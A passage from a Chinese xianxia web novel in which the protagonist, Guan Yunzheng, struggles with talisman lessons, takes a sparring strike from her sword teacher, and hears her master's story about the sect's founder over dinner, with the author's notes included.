“烫的?”关云铮诧异转头,看向身侧的楚悯。 楚悯点点头:“咒文毕竟自带效力,哪怕褚先生有意削减,也会残存一些。” 那点烧灼感其实很轻微,关云铮疑心是自己看了这满天咒文,心都凉了,指尖血管末梢不供血了,冷热对比之下才会感觉这么明显。 她被烫了一会儿指尖,那光点也走到了尽头,上一个咒文的行走路径还没记住,这一个就又来了,西瓜没捡着,芝麻也漏干净了。 楚悯看她沉重的表情,实在没忍住,笑着说道:“将来一月不都是学这些吗?不用急于一时。” 关云铮把晃到她眼前的一个咒文拂开:“一月都要跟这些东西作伴,难道不愁人吗?” 楚悯宽慰道:“褚先生以往便是这样讲课,只不过这次一日内把未来的内容尽数告知了。”所以无需焦虑,只不过是日常的内容忽然变多变复杂了而已。 关云铮心里清楚小悯这话说得对。 画符咒的具体方法褚先生早在很多天前就讲述过,那时她也拿简单的几个符咒练过手,对画符一事不算十分陌生。 而且看褚先生今日的意思,大概是想让他们自行领悟这些高阶符咒的绘制方式,想来哪怕是高阶符咒,绘制时也无特殊之处,不过是多画几笔,费些工夫。 还是太溺爱自己了,玩了两天简直乐不思蜀,再不复学都快忘记学堂的前后门朝哪个方向开了。 关云铮长叹一口气,再度拾起笔,开始一个头两个大地绘制面前的咒文。 **** 看了一上午的咒文,两人午间吃饭时神情都是呆滞的,关云铮更是一见着闻越就痛苦捂眼,活像她三师兄是什么脏东西。 闻越倍感受伤,故作伤心道:“这才半日不见,云崽便觉得我扎眼了?” 关云铮一边捂着眼一边无感情道:“师兄,你要是看了一上午闪着金光的红字,你也这样。”那高饱和,那高亮度,那叫一个目眩神迷。 闻越了然,收起了玩笑的神色:“练习咒文?”他给两位眼睛暂时不方便的师妹盛好饭,“褚先生惯会磋磨人。” 楚悯失笑:“褚先生知道师兄你私底下这样编排他吗?” 连映在桌边坐下:“全归墟就没有人比褚先生更清楚闻越的秉性了。” 关云铮闭了会儿眼睛终于稍微舒服点了,放下手拿起筷子,在夹菜前说道:“那褚先生揍他吗?” 闻越:“?” 他一脸匪夷所思:“云崽,这是你作为师妹该说的话吗?” 关云铮嬉皮笑脸:“错了,下次还敢。” 闻越:“……” 连映在一旁点评:“你看看你把云崽带成什么样了。” 闻越:“……?” 关云铮悄悄观察两眼闻越神色,虽然师姐和她都是在说玩笑话,师兄应该也不会真的生气,但还是在他再次开口前顺毛:“就是觉得褚先生居然是归墟最了解师兄的人,此事真是令人惊讶。” 闻越认命地叹了口气:“这不是初入师门的时候想当剑修没当成吗,后来便跟着褚先生,想试试能不能练成个符修,也没成功。” 关云铮整个人僵住:坏了,开玩笑开过头了,又提到不该说的事了。 看她表情凝滞,闻越夹菜时顺手拍拍她肩膀:“你师兄我的机缘在后头呢。” 坐在一边的楚悯也跟着点点头。 闻越被楚悯点头的动作逗笑:“怎么,小悯替我算过了?” 楚悯有些不好意思地笑笑:“在来苍生道院住下之前,我给大家都算过一卦。” 方才还僵着的关云铮霎时间转过头,目光炯炯地看着她。 楚悯被她谴责的目光盯着,朝她笑了笑说道:“只不过卦象不可透露,师兄只要知道卦象是吉兆便好。” 闻越被几句话哄得眉开眼笑:“那我只好静候佳音了。” **** 本以为上午的符咒课已经是针对记忆力和手眼协调的极致考验,谁料下午武器课她刚一到场地,便听见早早到场的蒲飞鸢说,今日的课堂要求是每个人上前去接她一招,能接住的,今日的课便算合格。 关云铮疑心自己还没从上午符咒课的昏沉感中摆脱,脑子出问题了才会幻听,停住脚步反应了一会儿才意识到都是真的不是幻觉,有那么一瞬间差点想转身回苍生道院。 到底怎么就从教学变成对抗了?再说了她对抗得了吗? 虽然关云铮脑子里已经有人在张贴“快逃”的海报了,但再抗拒也得上课,不然别说今天了,半月后的幻境考察更是能把她秒得渣都不剩。 为了不久的将来能够不那么惨痛,只好硬着头皮迎接当下了。 这场单方面的对抗来得猝不及防,许多人还是初次与自己的新武器一同来上课,连使唤都不太利索,更别说拿来扛住蒲飞鸢的剑招了,故而上去几个便落败几个,霎时间一群人陆续意气风发地上前,又接连灰头土脸地回来。 关云铮算是在场这些人里同自己的武器相处最久的,可也没那个信心觉得自己能够扛住蒲飞鸢的一剑,故而焦虑地在原地反复踱步,被谭一筠友好地叫了声名字时惊得差点没跳起来。 谭一筠连忙道歉:“吓着你了,实在惭愧。” 关云铮朝他摆摆手:“是我思绪太过紧绷,还以为是先生喊我了。” 此刻的蒲飞鸢点名不像是点名,更像是阎王点卯,让你三更死活不到五更那种。 实在是很难不害怕。 谭一筠倒是心态很平和的模样,或许是上一届教习时也没少经历这类课程,甚至还能宽慰她两句:“关姑娘这剑看起来与你很亲近,应当比同窗们新寻来的武器趁手些,大可无需这般忧心。” 摇羽此刻是出鞘状态,关云铮总不好当着它的面说什么“趁手的未必就扛得住”这种话,某一百多岁剑灵这会儿不出声是在外人面前给她面子伪装正常,等到回了苍生道院指不定怎么骂呢,于是只好点点头应下:“多谢谭师兄。” “关姑娘客气了。”谭一筠很快还她一句客套,拿着扇子给自己扇了扇风。 关云铮这才发现他没有佩剑:“谭师兄的佩剑……?” 难道要用扇子扛?那岂不是煮鹤焚琴级别的行为了? 该不会这扇子还能变剑?仙侠文里也不是没看过就是了。 谭一筠摇扇子的动作停下了:“实不相瞒,我只是一介阵修,体术不勤,武器也无,但架不住我师父同章先生说,要让我和他门中受教习弟子同等待遇,一同上课,所以……” 关云铮顿时流露出抱歉的神色:“看来是我连累了你,谭师兄。” 谭一筠摇摇头:“我听闻蒲先生名号已久,此番虽大有可能扛不住她一招,见识一番她的剑技也是好的。” 没被点到名的人越来越少,关云铮一边分心看着那边单方面挨打的场景,一边问道:“蒲先生的名号?她在仙门中也有许多传闻吗?” 谭一筠“唰”一声翻转过扇子,把另一面展开给关云铮看。 那上面应声浮现出了占据一整个扇面的字迹,小得如同蚂蚁成群,关云铮第一眼看到,还以为只是大片排布规则的墨点,仔细辨认了会儿,才大致看出扇面上面记载的是蒲飞鸢迄今为止的……“战绩”。 堪称教科书级别的剑修成长史。 只是看完后关云铮的心情不由得变得更复杂了些:“谭兄。” 谭一筠正疑惑她怎么忽然省去“师”字直接喊自己谭兄,便听关云铮以一种异常沉重的语气说道:“若是待会儿我被打得毫无还手之力,以后你就不要再给我看你那扇面了。” 什么战前恐怖debuff啊,一挂上她平A都放不出来了! 谭一筠正要开口,蒲飞鸢已经把目光投向了这边,喊出了关云铮的名字。 关云铮把剑鞘放下,握住剑柄,毅然决然地朝那边走了过去。 **** 古早电影中每逢打斗必是叮铃哐啷一顿刀剑作响,刀光剑影的效果堪称乱光渐欲迷人眼,声势浩大得仿佛音效库那几年集体免费。 关云铮把这几步路走得像过刀山火海,待到面对蒲飞鸢,脸上已是一副悍然求死的神情。 蒲飞鸢直想笑,但碍着在场尚有诸多弟子,强忍住了笑意,还没等关云铮缓过神来,便抬手一剑压了下来! 蒲飞鸢的身量在女性之中算高的,关云铮之前估计过,大概保底有一米七二,而原身尚且只有十五岁,哪怕比她在21世纪时十五岁的时候高一些,在蒲飞鸢面前也是不够看的。 因此蒲飞鸢抬高手臂悍然下劈的这一剑,她只能自下而上地挑起剑来扛。 剑鞘方才已经被她丢在一边,除了御剑和练剑几乎没完全出鞘过的摇羽被她握在手中,直面另一把剑时发出刺耳的摩擦声。 关云铮拼尽全力顶住了这一剑。然而右手虎口当场被震得失去了知觉,但对方的攻势却丝毫没有被削减,仍然压在她头顶,凌厉的剑风几乎要把她的头发隔空削下来。 她以为蒲飞鸢仍要使力,不由咬紧牙关,用已经完全麻木的右手又握紧了几分剑柄。 谁料剑上的威压在这一瞬骤然撤去,还没等她抬头看看是什么情况,又一阵比方才还要凶狠的剑风迎面而来,她再扛无能,索性当机立断地后仰,随后就势在原地打了个滚,滚出二尺远才握着剑爬起来。 只是扛了一剑,余下的一剑甚至躲开了,原本松散的发丝已经黏在了脸上,手心半是汗半是尘土,狼狈得可以表演一出“捡垃圾归来”。 蒲飞鸢收起炽翎背到身后,简短评价道:“出剑还算果断,但使力的方向不对,这样用力会错着筋脉,长久下去对你的右手无益;扛不住敌人的招数时撤退也是个好选择,但你撤退时后心完全暴露给了敌人,若是对方穷追不舍,你照样会命丧黄泉。” 关云铮被她几句话说得刚热的血又凉了,还没露出沮丧的表情,便听蒲飞鸢又说道:“还有,你的左手是做什么用的?只是做个样子握在剑柄上,没使出哪怕一分力,打算学几年剑把右手学断了,便换一只右手?” 好狠,好不留情。 见惯了蒲飞鸢随性的模样,还从没被她这样直截了当地批评过,关云铮在大学生涯里磨炼出的厚脸皮险些当场破功,阔别已久的泪失禁体质大有卷土重来之势。 她低头看了一会儿地面,见自己正踩在练武场上那巨大的阴阳双鱼之间,左脚黑右脚白。 关云铮用没用的左手抹了一把脸上滚烫的汗,握住自己颤抖的右手,向蒲飞鸢鞠了一躬:“学生受教。”—— 作者有话说:撒泼打滚求专栏收藏[可怜][可怜] 第86章 蒲飞鸢的点评虽然有些不留情面, 但确实都是关云铮在这短短两个来回里暴露出的问题,故而她并不觉得十分受挫。好歹在21世纪也当过十几年的学生,哪些话是好心的提点, 哪些话是没事找事的羞辱, 哪些话又是自以为精华的糟粕,她还是能分清的。 ——她的第一反应其实是蒲先生这两剑一定放海了。 方才第一剑来得毫无预兆, 她反应不及, 根本就是扭着手腕去扛的,对于部分普通人而言,手腕扭转时能否使上全力都成问题,更别说接住知名剑修的这一剑了。她不过才学了一月余的剑,剑招都没练利索,跟普通人也没什么分别, 又怎么能不拼尽全力就接住? 至于第二剑,正如蒲飞鸢所说, 若是有心之人执意追击,她是决计不可能躲过这一剑的, 蒲飞鸢作为教习先生固然没有穷追不舍的必要, 但这也正说明了她的第二剑同样没有使出几分力。 所以蒲先生一定是放海了。 至于是死海还是地中海,印度洋抑或太平洋,那还有待商榷, 她道行太浅, 尚且看不出究竟放了多大面积,在道过谢后便揉着手腕回到了自己原来的位置。 上前接剑的人到现在也还不到半数,回来的多数又都身心受创,故而没什么人有余力注意他人的状况,都在休息的同时与自己并不熟稔的武器磨合。 关云铮拿着摇羽回来, 谭一筠对她安抚地笑笑:“关姑娘不必将此事太过放在心上,依我看这只是蒲先生让大家从惫懒中迅速调整回来的办法,并非是日后上课的难度。” 倒也有剑修是在日复一日的挨打中成长起来的,只是这种模式显然不适合这些初入仙门的弟子,总和差距过大的先生较量,容易消磨他们的信心。 关云铮倒不担心日后的武器课,非要说担心,大概还是日后褚先生的课更令她头痛一些。 武器课的进行是否顺利依托于这具身体,不同于主要依靠大脑的符咒课。 原身的身体强度比她那残破的身体高上许多,但智力和记忆力这两样东西,脱胎于她自己的灵魂,生也带来死也带去,偶尔还会因为大学时候疏于动脑,让她尝尽接受新知识的苦。 总之对比起来,武器课算得上简单粗暴,多锻炼多打,总能好一些,她并不十分担心。 再说了,武器课本来便算不得简单,就算日后都是这样的强度,大家也都是一起受苦,担心也没用。 她看向谭一筠:“谭兄,可需借你佩剑一用?” 趁摇羽说不了话没法抗议先借出去再说。 谁料谭一筠摇了摇头:“多谢关姑娘,我自有对策。” 看他没什么勉强之意,关云铮不再多说,把摇羽收回剑鞘,站在一边郁闷地继续揉手腕。 蒲飞鸢大约是按着什么顺序点的名字,喊到谭一筠时多数人已经都被磋磨了一遍,最初的那一批人也早就缓过了劲,勾勾搭搭地站在一起,观看余下的同窗被蒲先生按在地上摩擦。 关云铮站累了,早就在地上不顾形象地坐下了,坐下后才发现叶泯就在离自己不远处,不知何时也坐下了,但手边也无佩剑。 偌大归墟中,不是剑修的没有几个,这一来教习就来了俩,足见人还是得多出去看看,不然她还真要以为这世上只有剑修了。如今看来不过是传统热门专业,吸引人往天坑里跳。 挺好,上辈子跳医学坑,这辈子跳剑修坑,越活越倒退。 关云铮收回视线,看向已经走到蒲飞鸢面前的谭一筠。 他姿态相当悠闲,一手拿着合上的折扇敲打着另一手的掌心,闲庭信步得像是晴空万里出门秋游,根本看不出是送上门挨打的。 关云铮正打算伸长脖子看看他接下来会不会被迫变脸,只见那些围观的同窗走了几步,将她视线挡了个彻底。 啧。生平第一次想吃瓜,居然没吃到。 而在被人群隔绝的另一边—— 蒲飞鸢的剑招毫无预兆地迫近,几乎快出了残影。 谭一筠迅捷之间一抖手腕,折扇“唰”的一声完全展开,只见那煞白的剑光顿时消失,像被那折扇吸进了扇面里。 蒲飞鸢挑起眉,似乎正要说话,见眼前此人再度一抖手腕,将折扇快速调转,刚才对着蒲飞鸢的那一面赫然转到了他自己面前。 而那消失得无影无踪的剑光瞬间从转向蒲飞鸢的那一面扇面中冲撞而出! 蒲飞鸢面色丝毫未变,刹那间已抬起手弹开这一剑的攻势,笑道:“好阵法。” 谭一筠再度一抖手腕,把折扇收了起来,作揖道:“学生献丑了。” **** 关云铮难得想凑一次热闹,但懒症又犯了,哪怕心里十分好奇也还是没从地上站起来,故而她只知道谭一筠回来时神色与去时一样轻松,身后还追着许多双难以置信的眼睛。 起先看他神色自如,关云铮还以为蒲飞鸢习惯性放水了,等到谭一筠走过来,她直观地撞上那些或是羡慕佩服或是疑虑警惕的视线,顿时怀疑起了自己的猜测。 难道方才蒲飞鸢不仅没有放水,攻势还被谭一筠轻松化解了? 她看向谭一筠的目光顿时带上几分钦佩。 谭一筠恍若未觉,走到关云铮身边时还低头问道:“那边有位同窗似乎在看这边,关姑娘认识吗?” 关云铮越过他往他所说的“那边”看了眼,正好撞上叶泯仓促收回视线,虽然对他的行为感到一头雾水,但她还是答道:“认识。” 谭一筠露出了然的神色:“那他想必是有什么话想对关姑娘说?” 能有什么话需要对她说的?为昨日之事道歉? 那她确实是被那蛇吓得不轻。 不过叶泯此人……总感觉有些不太靠谱,都这时候了怎么还想着昨日的事,难道不该紧张待会儿要去扛蒲飞鸢一剑吗? 此事岂不更重要? 该不会他和谭一筠一样,哪怕没有配剑,都有对这一剑应对自如的底气? 合着就她是菜鸟? 关云铮险些被自己的猜测搞崩了心态,差点忘了回答谭一筠的问题,但回过神来又意识到叶泯此事其实不那么方便对人言,于是含糊道:“我也不甚清楚,不如等散课后问问他。” 谭一筠听出她的含糊其辞,笑着点点头,不再说话了。 到了这会儿关云铮才看出,蒲飞鸢大概是按照来归墟接受教习的顺序喊人的,因为她发现排在谭一筠之后上前的人都很脸生,除了叶泯没一个是认识的。 她甚至连这批人是何时抵达归墟的都不知道。 思及此,关云铮不由得皱起眉头,想起之前在师门中讨论过的,有多少弟子会是仙盟派来的眼线一事。 仙盟之于修仙界究竟是个什么样的地位? 原本她从归墟对待严骛的态度推断出,仙盟大概是由一群官不大官瘾很大的人组成,所以才总忍不住对仙门内部事务横插手脚。 这样的推断建立于两个基础上,一是归墟在仙门中具备代表性,二是归墟对待仙盟的态度与对待他人不同。 但她总觉得这两个基础都不太能成立。 虽说她到现在也就去过半日天问,其他门派几乎不曾接触过,可归墟的随性而为是不需要对比就能感受出来的,换做其他仙门恐怕都不会像归墟这样气氛松散,除了教习时态度严谨,其他事情上向来都管得不严,抓大放小。 至于对待仙盟的态度……归墟似乎也没怎么“对待”仙盟,非要说态度的话,大概秉承了一贯的处事风格,来了就随便招待一番,要走就不送了。 好吧这也挺有态度的了,估计够严骛回仙盟后蛐蛐归墟好几回。 至于朝廷,与仙盟自然也有联系,严骛来归墟考察时,柳相也勉强能算是陪同,朝廷又是如何看待仙盟的? 从苍韫桢用“姓严的”称呼严骛这一点来看,至少当今皇帝是不太待见仙盟中人的,但朝廷中其他人呢?跟她是一条心吗? “想什么呢?”蒲飞鸢的声音忽然响起。 关云铮吓了一跳,骤然回神想要开口,差点把舌头咬了。 “磋磨得差不多了,接下来自行练剑,我过来看看。方才手腕错着筋了吧?”蒲飞鸢低头看她右手。 虽然同蒲飞鸢算是熟稔,但总不好让先生站着,自己反倒坐着,关云铮赶紧站起身,又因着没必要在懂行的人面前装没事,她点点头答道:“稍微有些扭着了,不过应该没有大碍。” 蒲飞鸢顺势收回视线:“回去抹点你师伯给的药,估计明日就能好得差不多了。” “您怎么知道我有师伯给的药?”差点以为蒲先生是掌门变的了。 蒲飞鸢笑着叹了口气:“我同你师父刚认识的时候,凌风起就一直是这样的做派,即便如今几乎不说话了,想来药还是会照常给的。”她又习惯性调侃了关云铮一句,“再说了,你每日过得这么跌宕起伏,可不得给你备着点药?” 关云铮无言以对,过了好一会儿才说:“方才那位……叶泯,接住您的剑招了吗?” 蒲飞鸢点点头:“他有柄短鞭,用鞭子接的。” 短的? 她怎么记得小悯说过,当时叶泯用的鞭子分明是细长的软鞭,怎么变成短鞭了? 蒲飞鸢看她不接话,了然道:“认识?” 谭一筠估计是见蒲飞鸢专程来找她说话,早就没影了,不然关云铮还真不太好意思跟蒲飞鸢直说,显得方才自己的含糊其辞太过生疏了。?不对,她本来跟谭一筠也不熟啊,生疏点藏着掖着点怎么了? 这么一想,关云铮理直气壮许多,直截了当道:“小悯这次下山便是去的灵兽派,遇到危险时叶泯和他兄长帮了小悯。” 蒲飞鸢不知道这一茬,听完恍然道:“他还有兄长?比他大几岁还是同胞?” 关云铮眨眨眼,没想到蒲飞鸢这么敏锐:“是孪生兄弟,您知道?” 蒲飞鸢思索着:“隐约有些印象,只不过灵兽派常年蛰伏,所知不多。他怎么忽然来归墟接受教习了?” 关云铮默然,简单把自己所知的情状复述了一遍。 蒲飞鸢哈哈大笑,差点引得其他同窗看过来,连忙收敛了声音说道:“那位姓秦的老头我倒是颇有耳闻,向来会仗着年纪大逞威风,一大把年纪也无甚建树,脸皮倒是顶得了城墙厚,叶泯连他也敢顶撞,真是后生可畏。” 关云铮快要被她说的话笑死了,忍了又忍才没笑出声,继续跟她说道:“要是他兄长知道他来归墟后犯了错,也不知道会说些什么。” 蒲飞鸢显然很有兴趣的模样:“犯错?什么错?他不才刚来吗?” 周围的同窗都在自行练剑,原本坐在不远处的叶泯更是不知上哪儿去了,但关云铮很有背后蛐蛐人的自觉,默默放低了声音:“他此番将灵兽带来了,那灵兽险些走失在青镜山中。” “走失会如何?难道是异常凶险的灵兽?”蒲飞鸢问道。 关云铮抬手比划了一下灵犀的个头:“是条半立起身大约有这么高的巨蚺。” 蒲飞鸢像是被她比划出来的高度震撼了,好一会儿都没说话,片刻后才说:“他把这么大的灵兽带来归墟了?” 关云铮点点头。 蒲飞鸢语气和神色庄严得像是叶泯已经半截入土了:“那他……等着他兄长传信吧。” 关云铮深以为然地在心里给叶泯点了一支蜡。 **** 结束武器课的关云铮与结束练琴的楚悯在饭堂会合,两人都不堪重负地揉着右手的手腕,见了对方露出了然的苦涩神情。 楚悯的手腕只是有些酸胀,揉了这一会儿已经好了许多,于是关切地看向关云铮:“可是练剑扭伤了?” 楚悯不问还好,一问关云铮就有一肚子苦水要倒,顿时叽里呱啦说了半晌今日武器课单方面挨打的经过。 等她说完,默默无闻的李演已经把今晚所有的菜做好端上桌了,正好她说得口干舌燥,给自己舀了小半碗汤喝了,喝完先同李演道了声谢,还没忘了点评这一日:“这课程安排也改动得太迅猛了,就不怕我们跟不上吗?” 与离谱课程安排脱不开关系的罪魁祸首之一在桌边坐下:“又不让你们一日之内便跟上。” 关云铮听了章存舒这话忍不住嘀咕:“我怕是五日也跟不上。” 章存舒笑眯眯的:“那云崽还要多努力。” 好一个只进油盐的缺德师父! 关云铮雷霆大怒,抄起筷子把章存舒正打算夹的排骨嗖一下夹走了。 正要坐下的连映瞬间就被逗乐了,撑着桌子笑得乐不可支。 楚悯笑着说:“一怒之下只夹走一块排骨,真是好大的怒气。” 关云铮被排骨占着嘴没法说话,很不高兴地“哼”了一声。 章存舒的筷子还没用过,见她这样又给她夹了一块排骨:“手腕记得上药。” 还没等关云铮应声,他又看向楚悯:“小悯也要记得。” 两人顿时乖乖应下:“记住了。” 江却和闻越姗姗来迟,坐在桌边时几人已经开启了新的话题。 “叶泯接剑时我没看见,听蒲先生说,他用来扛住攻势的是一柄短鞭,但我分明记得你先前说,他用的是细长的软鞭?”关云铮还没忘了方才心头疑虑,看向楚悯问道。 楚悯点点头:“确乎如此,大概他那武器式样可随心意变化,短鞭更为坚韧,所以拿来挡下蒲先生的剑招?” 关云铮暂时也想不到其他的解释,思索片刻后干脆把这事短暂丢到一边,又提起其他的见闻。 “谭一筠,就是昨日那个差点把灵舟停我俩头上的,似乎是个阵修,他那折扇也不知究竟是法器,还是上面有什么法阵,有点玄乎。”她半是叙述半是吐槽地说道。 “是法器,其上也有术阵,你见着他用上面的阵法了?”章存舒作为在座最熟悉谭一筠的人,听完她的话后问道。 关云铮其实不算完全看清楚了谭一筠接下那一剑的经过,但因为他确实是毫发无伤地回来的,也极有可能用上了那把叫作子不语的折扇,故而她觉得自己的推断还是十分有道理的,干脆就把心里的推断说了出来。 江却思索着:“应当确实是术阵起了作用,大约是个临时的转移阵法,能把有形之物以某种形式暂时吸纳入阵法,随后由阵法归还。” 又是有形之物,关云铮捕捉到这个字眼,忍不住想起章存舒对乾坤袋下的定义。乾坤袋作为容纳上限存疑的仙法容器,也只能装载有形之物。 乾坤袋和子不语上术阵运行的机制,是否有着相似之处? 至于蒲飞鸢那一剑,说是有形之物倒也不算错,但怎么总觉得那阵法能把这一剑吸进去,又反过来转为攻击原主……好像太过逆天了一点。 章存舒点头:“那折扇是翠屏山这几年来最通人性的一件法器,他师父磨破嘴皮子才为他讨来的。” “他们翠屏山自己的东西还需花上这许多工夫?”闻越疑惑。 不应该肥水不流外人田,自己人说要,给便是了? 连映笑着看他一眼:“你当别处也是归墟?叶泯不还因为灵兽派内部的弯弯绕绕,被他父亲送来归墟暂避了?” 闻越撇撇嘴:“也对。” 关云铮总感觉不是门派内部矛盾的问题,但也说不上究竟哪里不对,但还是循着下意识,向章存舒追问了一句:“那折扇出自谁手?” 这么好用的东西,既能速记又能反弹伤害,磨破嘴皮子才能讨来倒也好像合情合理。 谁料章存舒夹了一筷子菜,随口道:“我。” 在座所有人异口同声道:“什么?!”—— 作者有话说:决定在这篇文破两千收的时候再开个抽奖,到时候就抽全订的小可爱们,给大家回回血[三花猫头] 千万要让我顺利破两千收啊(祈祷) 第87章 真是又给他装到了。 关云铮半是无语半是释怀地想。 穿越至今, 她已经习惯了“不靠谱师父时不时会靠谱几回”这件事。 在她看来,章存舒的靠谱水平是薛定谔级别的,不打开具体事件的盒子根本不知道到底靠不靠谱;当然也可以说是六脉神剑级别的, 指望他靠谱时, 他必然令人大失所望,没指望上的时候大概率就能一剑封喉了。 闻越的神情相当不解:“师父, 你什么时候还做了这样的法器?还把它送人了?” 章存舒环视一圈神色各异的弟子们:“以前闲着没事做的时候就喜欢琢磨些帮着偷懒的小物件, 这扇子最初便是背不下书随手做的,后来才有了上面的术阵。” “您还有背不下书的时候?”江却难得费解。 关云铮:出现了,唯一对师父有滤镜的徒弟。 章存舒被他逗笑了:“我怎么不能有背不下书的时候了?脑袋总共也就这么点大,算上识海也就容纳那么些东西,装不下了找点别的物件装一装,也是人之常情吧?” 人之常情个鬼。 关云铮忍不住嘀咕:“我方才还想说翠屏山的人怎么就不懂肥水不流外人田的道理, 到头来竟然是师父你不懂。” 餐桌就这么点大,说点什么想不听见都难, 更何况关云铮就没打算藏着音量,根本是在超大声蛐蛐。 章存舒果然看过来:“难道云崽有什么背不下来的东西?那折扇竟能派上用场?” 关云铮想了想:目前最困扰她的、需要记忆的东西是咒文的画法, 但谭一筠使用子不语时, 那法器上的墨迹是瞬时出现的,似乎没有字迹形成的过程,估计就算给了她, 也确实……派不上什么用场。 她默然以对, 章存舒了然道:“自打我师父他老人家驾鹤西去,归墟便没有让弟子们死记硬背的教法了,就算留着那扇子,给你们又有何用?不过也就是看着花哨,实际……”他抬手隔空点了点关云铮左手手腕, “还不如撷光来得好用些。” 那确实。 且不论撷光先前在她遇到偷袭时派上过用场,日常戴着也顺心得很,热的时候凉,冷的时候暖,摸起来滑溜溜,看起来亮晶晶,哪怕只是做个摆件都极其顺眼。 也算是明白当初章存舒怎么留在手里好些天才给她了,估计这作风花里胡哨没个正经的师父,当真花了许多心思在这小玩意儿的外形上。 话都说到这份儿上了,再没点眼力见就不应该了,关云铮笑嘻嘻地说道:“多谢师父给徒儿的法器。” 章存舒笑了声:“惯会装乖。” 关云铮扮了个不大明显的鬼脸,埋下头继续吃自己的饭了。 哦对,方才师父好像说起他师父了。 关云铮又从碗里抬起头:“师祖……是什么样的人?” 她问完见众人都无甚反应,又求生欲极强地在后头补了一句:“这能说吗?” 连映笑眯眯的:“能说,只不过我们都没见过师祖,只能由师父说了。” 满桌佳肴在前,吃货章存舒叹了口气,暂时撂下筷子:“怎么平日没见你们这么多问题,一到饭桌上便这也想知道、那也要问了。” 楚悯默默:“不在饭桌上也不大见得着您啊。” 章存舒一愣,随即哈哈大笑起来。 关云铮搭住楚悯的肩膀拍了拍:“真是语出惊人啊小悯,吾心甚慰呐。” **** “你们师祖姓邱,醴都人士,对,就是那个盛产酒鬼的醴都。师祖是土生土长的醴都人,酒自然也没少喝。你们凌师伯,就是师祖一日喝蒙了捡回来的。 “师祖胸无大志,平生最好借着醉意舞刀弄剑,日子久了,竟给他琢磨出一套剑法,在一众酒鬼尽数喝得神志不清时,令寻衅斗殴者铩羽而归。 “他那剑法奇特,毫无章法可言,流畅或是滞涩全看那日喝了几两,越是多喝,越是恣肆。 “只是酒毕竟伤身,神智混沌之时,下手容易没轻没重,某次醉酒险些刺伤自己的亲妹后,师祖决定戒酒,收拾了东西离家远游,想要探寻真正的剑道。 “你们凌师伯是他遇见的第一个好奇他剑法的人。据你们师祖所说,那时候的凌师伯是家药铺里煎药的杂工,一日生意不好,百无聊赖坐在廊下时,正好看见师祖在躲雨,腰间的剑露出一截剑柄。 “凌师伯没见过剑,也没见过修士,但听过不少修士脱胎换骨飞升成仙的故事,于是顶着斗笠跑到师祖面前,问他是不是仙人。 “师祖自然说他不是,师伯便又问,那他背着剑是为做什么的。师祖说是为了寻剑道。师伯不解,哪有背着剑寻剑道的,自己有剑,自己使剑的方法,不就是剑道吗? “师祖顿时开悟,兴致上来了,酒瘾又犯了,问师伯可有酒喝。师伯摇摇头说没有,但倒是有一瓶解酒丸,只是那药丸是他闲暇时用药材边角料自己做的,无法保证效用。 “师祖一听,此子竟会炼丹,于是起了心思,问他要不要同自己一块远游。师伯便问远游可以成为仙人吗?师祖说约莫会吧,于是两人便结伴同行,来到了朝安。” 章存舒说累了,喝了口汤:“等为师先吃两口饭再说。” 关云铮眨眨眼做无辜状:“我们也没催您啊。” 闻越没听过这一段,正听到兴起,章存舒却不说了,只好眼巴巴地在一边看着,目光如有实质,令原本专心吃饭的章存舒不得不腾出一只手来,按着他的脑袋转向别处:“给我消停会儿。” 不止闻越没听过,几乎从小跟着章存舒的江却和连映也没听过,江却虽然看着严肃古板,但其实是个直来直去、有什么就问什么的性子,此时他便开口问道:“从前没听您提起过师祖的事,还以为……” 章存舒虽然嘴馋,但每日吃的其实不多,随便吃了两口又把筷子搁下了:“还以为什么?难道我同你们师伯师叔们是青镜山里蹦出来的?” 闻越默默把视线转回来:“那自然不是,师伯师叔们不好说,您不是朝安城里的大少爷吗?” 原本还在专心吃饭的关云铮实在忍不住了,和楚悯对视一眼,一同笑起来。 章存舒不打算再吃了,给自己盛了碗汤,又喝了一口,才接着说道:“你们师祖人到晚年多出个毛病,变得尤为好面子,特意嘱咐过,让我们这些做徒弟的来日有了徒弟时,在弟子们面前提起他时,将他破陋不堪的形象稍微修补得伟岸些。” 连映笑道:“那您如今怎么不加修饰便同我们说了?” “因为你们师祖也说过,若是故事能逗未来的弟子们高兴,那说说也无妨。” **** “师祖的剑术在醴都闯出了名堂,但到了人才辈出的朝安,便不大够看了。师伯炼制的丹药效用奇好,两人支的小摊刚开张那几日赚了不少。 “但朝安城中鱼龙混杂,大商铺常常联手打压小商铺,至于路边小摊,则更容易承受这些无妄之灾。师祖虽生长在酒鬼遍地的醴都,但也没遇见过这样浑然天成的强盗,怒火攻心时拔出了腰间配剑。” 若是来日仙门当真式微,归墟也开不下去了,关云铮觉得她师父还能去当个说书的,因为他讲故事实在是太会卡节奏了,把听者的心都悬起来后,竟然直接停下喝了一口汤。 关云铮幽幽地盯着他,直到他再度开口,才重新低头吃自己碗里的菜。 “只是那架终究还是没打成。仙盟自打落成便常年驻扎在朝安城,师祖师伯二人初入朝安便被仙盟中人留意,小摊出事后,仙盟更是立刻派人赶到当场。”章存舒说道。 “我现在有些明白为什么归墟和女帝都不大待见仙盟了。”关云铮面色复杂地说。 楚悯同样面色复杂:“早就知道师祖和凌师伯会在朝安城遇到危险,特意赶着这个时候前来,实在是令人不得不怀疑他们的居心。” 闻越眉头皱得死紧:“我最厌恶挟恩图报这一套了。” 章存舒笑起来:“师祖你们不了解,凌师伯什么性子你们还不知道吗?” 关云铮被他一句话说得失语,好半晌才说:“凌师伯那么小就展现出日后这……模样了吗?” 当着师门众人的面,她给凌风起稍微留了点面子,没把“不讨喜”三个字说出口,心不甘情不愿地咽了。 “师祖才拔出剑,仙盟的人也才赶到,那闹事者正要发作,只见你们凌师伯忽然闭上眼,往地上直挺挺一倒,昏在了师祖脚边。” 关云铮本来还在思考,这故事究竟是师祖同师父说的,还是凌师伯说的,如今看来是无需思考了……讹人这种事凌师伯长大后怕是也开不了口吧。 但平心而论,这招实在是高。 道理是讲给懂道理的人听的,面对故意为之的恶人,以恶制恶虽然缺德,但总是格外有效。 在座众人都没料到这样的后续发展,连映愣了一下才问道:“凌师伯是……装晕?” 章存舒笑答:“自然是装晕,两人预先没商量过,你们师伯这么一晕,师祖还险些露馅,蹲下后被暗中掐了一把小腿,才意识到你们师伯是装的,两人也不用别人敲锣打鼓,就地便这么演上了。” “噗。”这是楚悯和连映。 “咳。”这是江却。 “哈哈哈哈哈哈……”这是关云铮和闻越。 闻越泪花都笑出来了:“仙盟那些人发现了吗?后来知道了吗?若是知道了,他们脸上的神情定然很精彩吧?” 